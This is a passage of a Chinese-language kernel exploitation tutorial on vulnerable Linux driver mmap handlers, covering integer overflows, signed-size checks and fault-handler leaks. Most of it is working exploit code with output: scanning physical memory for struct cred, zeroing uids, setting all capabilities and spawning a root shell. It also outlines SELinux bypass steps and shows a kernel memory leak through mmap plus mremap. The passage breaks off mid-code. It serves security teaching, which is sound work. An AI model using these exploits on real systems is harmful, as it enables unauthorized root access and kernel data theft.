442 | 上面的代码展示了一个典型的整数溢出漏洞,它发生在一个进程调用mmap2系统调用时使用了size为0xfffa000以及offset为0xf0006的情况。0xfffa000和0xf0006000的和等于0x100000000。由于最大的unsigned int值为0xffffffff,最高符号位会被清掉,最终的和会变成0x0。这种情况下,mmap系统调用会成功绕过检查,进程会访问到预期buffer外的内存。如上文提到的,有两个独立的系统调用`mmap`和`mmap2`。`mmap2`使得应用程序可以使用一个32位的`off_t`类型来映射大文件(最大为2^44字节),这是通过支持使用一个大数offset参数实现的。有趣的是`mmap2`系统调用通常在64位内核系统调用表中不可用。然而,如果操作系统同时支持32位和64位进程,他就通常在32位进程中可用。这是因为32位和64位进程各使用独立的系统调用表。
443 |
444 | ### 3.3 有符号整型类型
445 |
446 | 另一个老生常谈的议题就是size变量的有符号类型。让我们看看这段代码:
447 |
448 | ```cpp
449 | static int signed_integer_mmap(
450 | struct file *filp, struct vm_area_struct *vma)
451 | {
452 | int vma_size = vma->vm_end - vma->vm_start;
453 | int offset = vma->vm_pgoff << PAGE_SHIFT;
454 | printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset: %x)\n", vma_size, offset);
455 | if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000))
456 | {
457 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
458 | return -EAGAIN;
459 | }
460 | if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start, vma->vm_page_prot))
461 | {
462 | printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n");
463 | return -EAGAIN;
464 | }
465 | printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n");
466 | return 0;
467 | }
468 | ```
469 |
470 | 上述代码中,用户控制数据存储在`vma_size`和`offset`变量中,它们都是有符号整型。size和offset检查是这一行:
471 |
472 | ```cpp
473 | if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000))
474 | ```
475 |
476 | 不幸的是,因为`vma_size`被声明为有符号整型数,一种攻击手法是通过使用负数诸如0xf0000000来绕过这个检查。这回引起0xf0000000字节被映射到用户空间地址。
477 |
478 | ## 4. 利用mmap Handlers
479 |
480 | ## 4.1 原理
481 |
482 | 到此我们理解了如何去实现一个可以获取任意内存地址(通常是内核内存)访问权的mmap handler。现在的问题是:我们如何用现有的知识来获取root权限?我们考虑两种基本情景:
483 |
484 | 1. 我们知道物理内存布局(通常通过`/proc/iomem`)
485 | 2. 黑盒模型 - 我们只是有一个非常大的mmap
486 |
487 | 当我们了解了物理内存布局后,我们可以轻易地查看我们映射了内存的那个区域,也可以试图去把想要的内存区域与虚拟地址进行关联。这允许我们对信令(creds)/函数指针执行精准的覆写。
488 |
489 | 更有意思的在于完成黑盒模型的情景。它可以工作在多版本内核和CPU架构,且一旦写成了exploit,它对不同的驱动来说都会更为的可靠。为了写这样的exp,我么需要找出内存中的一些pattern,这些pattern可以直接告诉我们找到的东西是否有用。当我们开始考虑我们可以搜索到什么时,我们就迅速的找到了实现方法:“有一些我们可以搜索的明显pattern,至少16字节,既然是全部内存我们应该可以几乎找到任何东西”。如果我们看一下credential结构体(struct cred)的话,就可以看到一些有意思的数据:
490 |
491 | ```cpp
492 | struct cred {
493 | atomic_t usage;
494 | #ifdef CONFIG_DEBUG_CREDENTIALS
495 | atomic_t subscribers; /* number of processes subscribed */
496 | void *put_addr;
497 | unsigned magic;
498 | #define CRED_MAGIC 0x43736564
499 | #define CRED_MAGIC_DEAD 0x44656144
500 | #endif
501 | kuid_t uid; /* real UID of the task */
502 | kgid_t gid; /* real GID of the task */
503 | kuid_t suid; /* saved UID of the task */
504 | kgid_t sgid; /* saved GID of the task */
505 | kuid_t euid; /* effective UID of the task */
506 | kgid_t egid; /* effective GID of the task */
507 | kuid_t fsuid; /* UID for VFS ops */
508 | kgid_t fsgid; /* GID for VFS ops */
509 | unsigned securebits; /* SUID-less security management */
510 | kernel_cap_t cap_inheritable; /* caps our children can inherit */
511 | kernel_cap_t cap_permitted; /* caps we're permitted */
512 | kernel_cap_t cap_effective; /* caps we can actually use */
513 | kernel_cap_t cap_bset; /* capability bounding set */
514 | kernel_cap_t cap_ambient; /* Ambient capability set */
515 | #ifdef CONFIG_KEYS
516 | unsigned char jit_keyring; /* default keyring to attach requested * keys to */
517 | struct key __rcu *session_keyring; /* keyring inherited over fork */
518 | struct key *process_keyring; /* keyring private to this process */
519 | struct key *thread_keyring; /* keyring private to this thread */
520 | struct key *request_key_auth; /* assumed request_key authority */
521 | #endif
522 | #ifdef CONFIG_SECURITY
523 | void *security; /* subjective LSM security */
524 | #endif
525 | struct user_struct *user; /* real user ID subscription */
526 | struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
527 | struct group_info *group_info; /* supplementary groups for euid/fsgid */
528 | struct rcu_head rcu; /* RCU deletion hook */
529 | };
530 | ```
531 |
532 | cred结构体用于控制我们线程的信令。这意味着我们可以掌握此结构体的大部分值,可以通过简单的读`/proc//status`或者通过系统调用获取。
533 |
534 | 查看结构体定义可以观察到有8个连续的整型变量,我们对此很熟悉(uid,gid,suid,sgid等)。紧随其后是一个4字节的securebits变量,再后面是4或5个(实际数量取决于内核版本)long long int(cap_inheritable等)。
535 |
536 | 我们获取root权限的计划是:
537 |
538 | 1. 获取我们的credentials
539 | 2. 扫描内存去查找这样的一组跟随4-5个long long int型capabilities变量的8个int型变量。在capabilities和uids/gids之间还应该有4个字节的留空。
540 | 3. 将uids/gids改为值0
541 | 4. 调用getuid(),检查我们是否已经是root用户
542 | 5. 如果是,则将capabilities修改为值0xffffffffffffffff
543 | 6. 如果不是,则恢复uids/gids的旧值,继续查找;重复步骤2
544 | 7. 我们现在是root,跳出循环
545 |
546 | 在某些情况下,这一方案不奏效,例如:
547 |
548 | - 如果内核是坚固的,一些组建对提权进行了监视(例如,一些三星手机设备上的Knox)。
549 | - 如果我们已经有了值为0的uid。这种情况下我们好像可以修改内核的一些东西因为内核包含了大量的0值在内存中而我们的pattern没什么用。
550 | - 如果一些安全模块被使能(SELinux, Smack等),我们可能完成的是部分提权,安全模块需要通过后面的步骤来绕过。
551 |
552 | 在安全模块的情况下,`cred`结构体的`security`域拥有一个指向内核使用的特殊安全模块定义的结构体。例如,对SELinux来说他是指向一个包含下列结构体的内存区域:
553 |
554 | ```cpp
555 | struct task_security_struct {
556 | u32 osid; /* SID prior to last execve */
557 | u32 sid; /* current SID */
558 | u32 exec_sid; /* exec SID */
559 | u32 create_sid; /* fscreate SID */
560 | u32 keycreate_sid; /* keycreate SID */
561 | u32 sockcreate_sid; /* fscreate SID */
562 | };
563 | ```
564 |
565 | 我们可以替换`security`域的指针为一个我们已经控制的地址(如果给定架构(如arm, aarch64)允许我们在内核中直接访问用户空间映射的话,我们可以提供用户空间映射),然后brute force sid值。进程应该相对快速因为大部分权限标签例如内核或初始化时会将该值设置为0到512之间。
566 |
567 | 为了绕过SELinux我们需要尝试下列步骤:
568 |
569 | - 准备一个新的SELinux策略,该策略将当前SELinux的上下文设置成宽松
570 | - 固定伪造的包含全0值的security结构
571 | - 尝试去重载SELinux策略
572 | - 恢复旧的安全指针
573 | - 尝试去执行一个恶意行为,该行为此前被SELinux禁止
574 | - 如果他工作的话,我们就绕过了SELinux
575 | - 如果不行的话,在我们伪造的security结构中递增sid值,重试
576 |
577 | ### 4.2 基础mmap Handler利用
578 |
579 | 这一部分我们将会尝试开发一个完整root权限的exp,针对下面的代码:
580 |
581 | ```cpp
582 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
583 | {
584 | printk(KERN_INFO "MWR: Device mmap\n");
585 | printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma->vm_end - vma->vm_start, vma->vm_pgoff);
586 | if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot))
587 | {
588 | printk(KERN_INFO "MWR: Device mmap failed\n");
589 | return -EAGAIN;
590 | }
591 | printk(KERN_INFO "MWR: Device mmap OK\n");
592 | return 0;
593 | }
594 | ```
595 |
596 | 代码有2个漏洞:
597 |
598 | - `vma->vm_pgoff`在`remap_pfn_range`中被作为一个物理地址直接使用而没有进行安检。
599 | - 传递给`remap_pfn_range`的映射尺寸没有做安检。
600 |
601 | 我们exp开发的第一步就是,创建触发漏洞的代码,使用它创建一个非常大的内存映射:
602 |
603 | ```cpp
604 | int main(int argc, char * const * argv)
605 | {
606 | printf("[+] PID: %d\n", getpid());
607 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
608 | if (fd < 0)
609 | {
610 | printf("[-] Open failed!\n");
611 | return -1;
612 | }
613 | printf("[+] Open OK fd: %d\n", fd);
614 |
615 | unsigned long size = 0xf0000000;
616 | unsigned long mmapStart = 0x42424000;
617 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
618 | if (addr == MAP_FAILED)
619 | {
620 | perror("Failed to mmap: ");
621 | close(fd);
622 | return -1;
623 | }
624 |
625 | printf("[+] mmap OK addr: %lx\n", addr);
626 | int stop = getchar();
627 | return 0;
628 | }
629 | ```
630 |
631 | 上面的代码会打开有漏洞的驱动并且调用mmap,传递了0xf0000000字节作为size,0作为offset。下面我们会看到log中记载了我们的调用成功了:
632 |
633 | ```sh
634 | $ ./mwr_client
635 | [+] PID: 3855
636 | [+] Open OK fd: 3
637 | [+] mmap OK addr: 42424000
638 | ```
639 |
640 | 我们可以通过查看内存映射来验证:
641 |
642 | ```sh
643 | # cat /proc/3855/maps
644 | 42424000-132424000 rw-s 00000000 00:06 30941 /dev/MWR_DEVICE
645 | ```
646 |
647 | 与此同时,dmesg中也可以看到mmap成功了:
648 |
649 | ```sh
650 | [18877.692697] MWR: Device has been opened 2 time(s)
651 | [18877.692710] MWR: Device mmap
652 | [18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
653 | [18877.696716] MWR: Device mmap OK
654 | ```
655 |
656 | 如果我们检查物理地址空间,我们可以看到有了这个映射后我们可以访问下面00000000-e0ffffff间的所有地址。这是因为我们传递了0作为物理地址定位、0xf0000000作为字节数:
657 |
658 | ```sh
659 | # cat /proc/iomem
660 | 00000000-00000fff : reserved
661 | 00001000-0009fbff : System RAM 0009fc00-0009ffff : reserved
662 | 000a0000-000bffff : PCI Bus 0000:00
663 | 000c0000-000c7fff : Video ROM
664 | 000e2000-000e2fff : Adapter ROM
665 | 000f0000-000fffff : reserved
666 | 000f0000-000fffff : System ROM
667 | 00100000-dffeffff : System RAM
668 | bac00000-bb20b1e1 : Kernel code
669 | bb20b1e2-bb91c4ff : Kernel data
670 | bba81000-bbb2cfff : Kernel bss
671 | dfff0000-dfffffff : ACPI Tables
672 | e0000000-ffdfffff : PCI Bus 0000:00
673 | e0000000-e0ffffff : 0000:00:02.0
674 | f0000000-f001ffff : 0000:00:03.0
675 | f0000000-f001ffff : e1000
676 | f0400000-f07fffff : 0000:00:04.0
677 | f0400000-f07fffff : vboxguest
678 | f0800000-f0803fff : 0000:00:04.0
679 | f0804000-f0804fff : 0000:00:06.0
680 | f0804000-f0804fff : ohci_hcd
681 | f0805000-f0805fff : 0000:00:0b.0
682 | f0805000-f0805fff : ehci_hcd
683 | fec00000-fec003ff : IOAPIC 0
684 | fee00000-fee00fff : Local APIC
685 | fffc0000-ffffffff : reserved
686 | 100000000-11fffffff : System RAM
687 | ```
688 |
689 | 我们可以选择增大映射的尺寸来涵盖所有的物理地址空间。然而,我们这里不会如此做,这样一来我们可以展示一些当我们没有能力访问全部系统内存时所面对的限制。
690 |
691 | 下一步去实现在内存中搜索`cred`结构体。我们按4.1节中所说的进行操作。我们会轻量的修改进程因为我们仅仅需要搜索8个包含我们的uid值的整型数。一个简单的实现看起来如下:
692 |
693 | ```cpp
694 | int main(int argc, char * const * argv)
695 | {
696 | ...
697 | printf("[+] mmap OK addr: %lx\n", addr);
698 |
699 | unsigned int uid = getuid();
700 | printf("[+] UID: %d\n", uid);
701 |
702 | unsigned int credIt = 0;
703 | unsigned int credNum = 0;
704 | while (((unsigned long)addr) < (mmapStart + size - 0x40))
705 | {
706 | credIt = 0;
707 | if ( addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid )
708 | {
709 | credNum++;
710 | printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
711 | }
712 |
713 | addr++;
714 | }
715 | puts("[+] Scanning loop END");
716 | fflush(stdout);
717 | int stop = getchar();
718 | return 0;
719 | }
720 | ```
721 |
722 | 在我们的exp输出中,可以看到找到了一些潜在的`cred`结构体:
723 |
724 | ```sh
725 | $ ./mwr_client
726 | [+] PID: 5241
727 | [+] Open OK fd: 3
728 | [+] mmap OK addr: 42424000
729 | [+] UID: 1000
730 | [+] Found cred structure! ptr: 0x11a86e184, credNum: 1
731 | [+] Found cred structure! ptr: 0x11a86e244, credNum: 2
732 | …
733 | [+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
734 | [+] Found cred structure! ptr: 0x11b782604, credNum: 8
735 | [+] Found cred structure! ptr: 0x11b7c1244, credNum: 9
736 | ```
737 |
738 | 下一步是去找到哪个`cred`结构体属于我们的进程,修改它的uid/gid:
739 |
740 | ```cpp
741 | int main(int argc, char * const * argv)
742 | {
743 | ...
744 | printf("[+] mmap OK addr: %lx\n", addr);
745 | unsigned int uid = getuid();
746 | printf("[+] UID: %d\n", uid);
747 | ;
748 | unsigned int credIt = 0;
749 | unsigned int credNum = 0;
750 | while (((unsigned long)addr) < (mmapStart + size - 0x40))
751 | {
752 | credIt = 0;
753 | if ( ... )
754 | {
755 | credNum++;
756 | printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
757 | credIt = 0;
758 | addr[credIt++] = 0;
759 | addr[credIt++] = 0;
760 | addr[credIt++] = 0;
761 | addr[credIt++] = 0;
762 | addr[credIt++] = 0;
763 | addr[credIt++] = 0;
764 | addr[credIt++] = 0;
765 | addr[credIt++] = 0;
766 | if (getuid() == 0)
767 | {
768 | puts("[+] GOT ROOT!");
769 | break;
770 | }
771 | else
772 | {
773 | credIt = 0;
774 | addr[credIt++] = uid;
775 | addr[credIt++] = uid;
776 | addr[credIt++] = uid;
777 | addr[credIt++] = uid;
778 | addr[credIt++] = uid;
779 | addr[credIt++] = uid;
780 | addr[credIt++] = uid;
781 | addr[credIt++] = uid;
782 | }
783 | }
784 | addr++;
785 | }
786 | puts("[+] Scanning loop END");
787 | fflush(stdout);
788 | int stop = getchar();
789 | return 0;
790 | }
791 | ```
792 |
793 | 我们运行exp可以看到:
794 |
795 | ```sh
796 | i$ ./mwr_client
797 | [+] PID: 5286
798 | [+] Open OK fd: 3
799 | [+] mmap OK addr: 42424000
800 | [+] UID: 1000
801 | [+] Found cred structure! ptr: 0x11a973f04, credNum: 1 …
802 | [+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
803 | [+] GOT ROOT!
804 | [+] Scanning loop END
805 | ```
806 |
807 | 可以看到我们成功get root权限,检查一下这是否是真的:
808 |
809 | ```sh
810 | cat /proc/5286/status
811 | Name: mwr_client
812 | Umask: 0022
813 | State: S (sleeping)
814 | Tgid: 5286
815 | Ngid: 0
816 | Pid: 5286
817 | PPid: 2939
818 | TracerPid: 0
819 | Uid: 0 0 0 0
820 | Gid: 0 0 0 0
821 | FDSize: 256
822 | Groups: 1000
823 | …
824 | CapInh: 0000000000000000
825 | CapPrm: 0000000000000000
826 | CapEff: 0000000000000000
827 | CapBnd: 0000003fffffffff
828 | CapAmb: 0000000000000000
829 | …
830 | ```
831 |
832 | 我们可以看到我们的UIDs和GIDs都已经从1000改成了0,我们的exp有效果,现在我们几乎就是一个root用户。
833 |
834 | 如果我们多次运行exp就可以发现,并不是总是能够获取root。成功率几乎是4/5,也就是80%左右。我们前面提到了我们仅仅映射了部分的物理地址。exp失败的原因在于,20%的情况下我们没能扫描整个内核内存(最后100000000-11fffffff也是system RAM,结构分配到了这里):
835 |
836 | ```sh
837 | # cat /proc/iomem
838 | 00000000-00000fff : reserved
839 | 00001000-0009fbff : System RAM
840 | 0009fc00-0009ffff : reserved
841 | 000a0000-000bffff : PCI Bus 0000:00
842 | 000c0000-000c7fff : Video ROM
843 | 000e2000-000e2fff : Adapter ROM
844 | 000f0000-000fffff : reserved
845 | 000f0000-000fffff : System ROM
846 | 00100000-dffeffff : System RAM
847 | bac00000-bb20b1e1 : Kernel code
848 | bb20b1e2-bb91c4ff : Kernel data
849 | bba81000-bbb2cfff : Kernel bss
850 | dfff0000-dfffffff : ACPI Tables
851 | e0000000-ffdfffff : PCI Bus 0000:00
852 | e0000000-e0ffffff : 0000:00:02.0
853 | f0000000-f001ffff : 0000:00:03.0
854 | f0000000-f001ffff : e1000
855 | f0400000-f07fffff : 0000:00:04.0
856 | f0400000-f07fffff : vboxguest
857 | f0800000-f0803fff : 0000:00:04.0
858 | f0804000-f0804fff : 0000:00:06.0
859 | f0804000-f0804fff : ohci_hcd
860 | f0805000-f0805fff : 0000:00:0b.0
861 | f0805000-f0805fff : ehci_hcd
862 | fec00000-fec003ff : IOAPIC 0
863 | fee00000-fee00fff : Local APIC
864 | fffc0000-ffffffff : reserved
865 | 100000000-11fffffff : System RAM
866 | ```
867 |
868 | 再次查看物理内存布局就会看到System RAM区域超出了我们映射的可控的范围。经常会有这种情况,我们在面对mmap handler输入检查时值是受限的。例如,我们可能有能力mmap 1GB内存但是却不能控制这以外的物理地址。可以使用一个`cred`喷射来轻易解决这个问题。我们创建100-1000个子进程,每一个都会检查是否有权限变更。一旦一个子进程获取了root权限就会通知父进程并终止循环扫描。剩下的提权步骤由这个单一子进程完成即可。
869 |
870 | 我们忽略`cred`喷射的修改以保持exp代码的整洁,取而代之的,这作为给读者的一个挑战。我们强烈推荐你实现一个`cred`喷射作为实践并看看这多么的简单有效。
871 |
872 | 到此,让我们回头去完成exp代码:
873 |
874 | ```cpp
875 | int main(int argc, char * const * argv)
876 | {
877 | ...
878 | if (getuid() == 0)
879 | {
880 | puts("[+] GOT ROOT!");
881 | credIt += 1; //Skip 4 bytes, to get capabilities addr
882 | [credIt++] = 0xffffffff;
883 | addr[credIt++] = 0xffffffff;
884 | addr[credIt++] = 0xffffffff;
885 | addr[credIt++] = 0xffffffff;
886 | addr[credIt++] = 0xffffffff;
887 | addr[credIt++] = 0xffffffff;
888 | addr[credIt++] = 0xffffffff;
889 | addr[credIt++] = 0xffffffff;
890 | addr[credIt++] = 0xffffffff;
891 | addr[credIt++] = 0xffffffff;
892 | execl("/bin/sh", "-", (char *)NULL);
893 | puts("[-] Execl failed...");
894 | break;
895 | }
896 | else
897 | ...
898 | }
899 | addr++;
900 | }
901 | puts("[+] Scanning loop END");
902 | fflush(stdout);
903 |
904 | int stop = getchar();
905 | return 0;
906 | }
907 | ```
908 |
909 | 上面的代码会覆盖5个capabilities变量并且开启一个交互式的shell。下面是exp的结果:
910 |
911 | ```sh
912 | $ ./mwr_client
913 | [+] PID: 5734
914 | [+] Open OK fd: 3
915 | [+] mmap OK addr: 42424000
916 | [+] UID: 1000
917 | [+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
918 | [+] Found cred structure! ptr: 0x11a984904, credNum: 2
919 | [+] Found cred structure! ptr: 0x11b782f04, credNum: 3
920 | [+] Found cred structure! ptr: 0x11b78d844, credNum: 4
921 | [+] GOT ROOT!
922 | # id
923 | uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
924 | # cat /proc/self/status
925 | Name: cat
926 | Umask: 0022
927 | State: R (running)
928 | Tgid: 5738
929 | Ngid: 0
930 | Pid: 5738
931 | PPid: 5734
932 | TracerPid: 0
933 | Uid: 0 0 0 0
934 | Gid: 0 0 0 0
935 | FDSize: 64
936 | Groups: 1000
937 | …
938 | CapInh: ffffffffffffffff
939 | CapPrm: ffffffffffffffff
940 | CapEff: ffffffffffffffff
941 | CapBnd: ffffffffffffffff
942 | CapAmb: ffffffffffffffff
943 | Seccomp: 0
944 | …
945 | ```
946 |
947 | ### 4.3 mmap Handler中fault Handler利用
948 |
949 | 本例子我们将利用mmap的fault handler。既然我们已经知道了如何利用有漏洞的mmap handler去获取root权限,我们将焦点转移到信息泄露。
950 |
951 | 这一次我们的驱动只读:
952 |
953 | ```sh
954 | $ ls -la /dev/MWR_DEVICE
955 | crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE
956 | ```
957 |
958 | 使用下面的代码:
959 |
960 | ```cpp
961 | static struct file_operations fops =
962 | {
963 | .open = dev_open,
964 | .mmap = simple_vma_ops_mmap,
965 | .release = dev_release,
966 | };
967 |
968 | int size = 0x1000;
969 | static int dev_open(struct inode *inodep, struct file *filep)
970 | {
971 | ...
972 | filep->private_data = kzalloc(size, GFP_KERNEL);
973 | ...
974 | return 0;
975 | }
976 |
977 | static struct vm_operations_struct simple_remap_vm_ops = {
978 | .open = simple_vma_open,
979 | .close = simple_vma_close,
980 | .fault = simple_vma_fault,
981 | };
982 |
983 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
984 | {
985 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
986 | vma->vm_private_data = filp->private_data;
987 | vma->vm_ops = &simple_remap_vm_ops;
988 | simple_vma_open(vma);
989 | printk(KERN_INFO "MWR: Device mmap OK\n");
990 | return 0;
991 | }
992 |
993 | int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
994 | {
995 | struct page *page = NULL;
996 | unsigned long offset;
997 | printk(KERN_NOTICE "MWR: simple_vma_fault\n");
998 | printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx, PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf->pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);
999 | offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));
1000 | if (offset > PAGE_SIZE << 4)
1001 | goto nopage_out;
1002 | page = virt_to_page(vma->vm_private_data + offset);
1003 | vmf->page = page;
1004 | get_page(page);
1005 | nopage_out:
1006 | return 0;
1007 | }
1008 | ```
1009 |
1010 | 拥有一个只读的驱动意味着我们没有能力去映射可写的内存,我们仅仅能读而已。
1011 |
1012 | 我们以分析驱动代码开始,可以看到驱动的open操作,函数为`dev_open`,它简单的分配了0x1000字节的缓冲区。在`simple_vma_ops_mmap`中mmap handler可以看到没有任何的安检,一个虚拟内存操作结构体被指派给了需要的内存区域。在该结构体中我们可以找到`simple_vma_fault`这个fault handler的实现。
1013 |
1014 | `simple_vma_fault`函数一开始计算了内存页的偏移,此后,它通过此前额外分配的缓冲区(`vma->vm_private_data`)以及offset变量来找到内存页。最后,找到的内存页被指派给了`vmf->page`域。这会引起在错误发生时,该page会被映射到虚拟地址。
1015 |
1016 | 然而,在页返回之前,有一个安检:
1017 |
1018 | ```cpp
1019 | if (offset > PAGE_SIZE << 4)
1020 | goto nopage_out;
1021 | ```
1022 |
1023 | 上面的检查会查看fault触发时,是否会返回一个超过0x10000的地址,如果是的话,就会禁止对该页的访问。
1024 |
1025 | 如果我们检查驱动buffer的size的话,就会看到这个值是小于0x10000的,该值实际上是前面分配的0x1000字节:
1026 |
1027 | ```cpp
1028 | int size = 0x1000;
1029 | static int dev_open(struct inode *inodep, struct file *filep)
1030 | {
1031 | ...
1032 | filep->private_data = kzalloc(size, GFP_KERNEL);
1033 | ...
1034 | return 0;
1035 | }
1036 | ```
1037 |
1038 | 这就允许一个恶意进程去请求驱动buffer后面的0x9000个字节,泄露内核内存地址。
1039 |
1040 | 让我们使用下面的代码来完成驱动的exp:
1041 |
1042 | ```cpp
1043 | void hexDump(char *desc, void *addr, int len);
1044 |
1045 | int main(int argc, char * const * argv)
1046 | {
1047 | int fd = open("/dev/MWR_DEVICE", O_RDONLY);
1048 | if (fd < 0)
1049 | {
1050 | printf("[-] Open failed!\n");
1051 | return -1;
1052 | }
1053 | printf("[+] Open OK fd: %d\n", fd);
1054 |
1055 | unsigned long size = 0x10000;
1056 | unsigned long mmapStart = 0x42424000;
1057 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
1058 | if (addr == MAP_FAILED)
1059 | {
1060 | perror("Failed to mmap: ");
1061 | close(fd);
1062 | return -1;
1063 | }
1064 |
1065 | printf("[+] mmap OK addr: %lx\n", addr);
1066 | hexDump(NULL, addr, 0x8000); // Dump mapped buffer
1067 | int stop = getchar();
1068 | return 0;
1069 | }
1070 | ```
1071 |
1072 | 代码看起来和标准的驱动使用方法很像。我们先打开一个设备,映射0x10000字节内存并转储该映射内存(`hexDump`函数打印十六进制表示的缓冲区到stdout)。
1073 |
1074 | 让我们看看exp的输出:
1075 |
1076 | ```sh
1077 | $ ./mwr_client
1078 | [+] Open OK fd: 3
1079 | [+] mmap OK addr: 42424000
1080 | 0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1081 | 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1082 | 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1083 | ...
1084 | 2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....
1085 | 2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....
1086 | 2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....
1087 | 2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............
1088 | 2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......
1089 | 2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............
1090 | ...
1091 | ```
1092 |
1093 | 在输出中可以看到,0x2000偏移有一些数据。驱动缓冲区在0x1000处截止所以读超出这个buffer就意味着我们可以成功的泄露内核内存。
1094 |
1095 | 更进一步,我们可以看到dmesg的输出中,我们已经成功访问到了不止一页的内存:
1096 |
1097 | ```sh
1098 | [ 681.740347] MWR: Device has been opened 1 time(s)
1099 | [ 681.740438] MWR: Device simple_vma_ops_mmap
1100 | [ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0
1101 | [ 681.740440] MWR: Device mmap OK
1102 | [ 681.740453] MWR: simple_vma_fault
1103 | [ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
1104 | [ 681.741695] MWR: simple_vma_fault
1105 | [ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
1106 | [ 681.760845] MWR: simple_vma_fault
1107 | [ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
1108 | [ 681.765431] MWR: simple_vma_fault
1109 | [ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
1110 | [ 681.775586] MWR: simple_vma_fault
1111 | [ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
1112 | [ 681.776835] MWR: simple_vma_fault
1113 | [ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
1114 | [ 681.777991] MWR: simple_vma_fault
1115 | [ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
1116 | [ 681.779318] MWR: simple_vma_fault
1117 | [ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c
1118 | ```
1119 |
1120 | ### 4.4 mmap Handler中fault Handler的利用 V2
1121 |
1122 | 让我们假定开发者引入了前面代码中`simple_vma_ops_mmap`函数的一个修改。如下面所见,新的代码检查了映射的尺寸是否小于0x1000。理论上,这会阻止前面的exp生效。
1123 |
1124 | ```cpp
1125 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
1126 | {
1127 | unsigned long size = vma->vm_end - vma->vm_start;
1128 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
1129 | vma->vm_private_data = filp->private_data;
1130 | vma->vm_ops = &simple_remap_vm_ops;
1131 | simple_vma_open(vma);
1132 |
1133 | if (size > 0x1000)
1134 | {
1135 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
1136 | return -EAGAIN;
1137 | }
1138 |
1139 | printk(KERN_INFO "MWR: Device mmap OK\n");
1140 | return 0;
1141 | }
1142 | ```
1143 |
1144 | 然而,代码依然是可以利用的,尽管我们不能再利用mmap创建一个非常大的映射内存。我们可以分割映射进程成两步:
1145 |
1146 | - 调用mmap分配0x1000字节
1147 | - 调用mremap分配0x10000字节
1148 |
1149 | 这意味着一开始我们创建一个小的0x1000字节的映射,它会顺利的通过安检。此后我们利用mremap增大尺寸。最终,我们可以像此前那样转储内存:
1150 |
1151 | ```cpp
1152 | int main(int argc, char * const * argv)
1153 | {
1154 | int fd = open("/dev/MWR_DEVICE", O_RDONLY);
1155 | if (fd < 0)
1156 | {
1157 | printf("[-] Open failed!\n");
1158 | return -1;
1159 | }
1160 | printf("[+] Open OK fd: %d\n", fd);
1161 |
1162 | unsigned long size = 0x1000;
1163 | unsigned long mmapStart = 0x42424000;
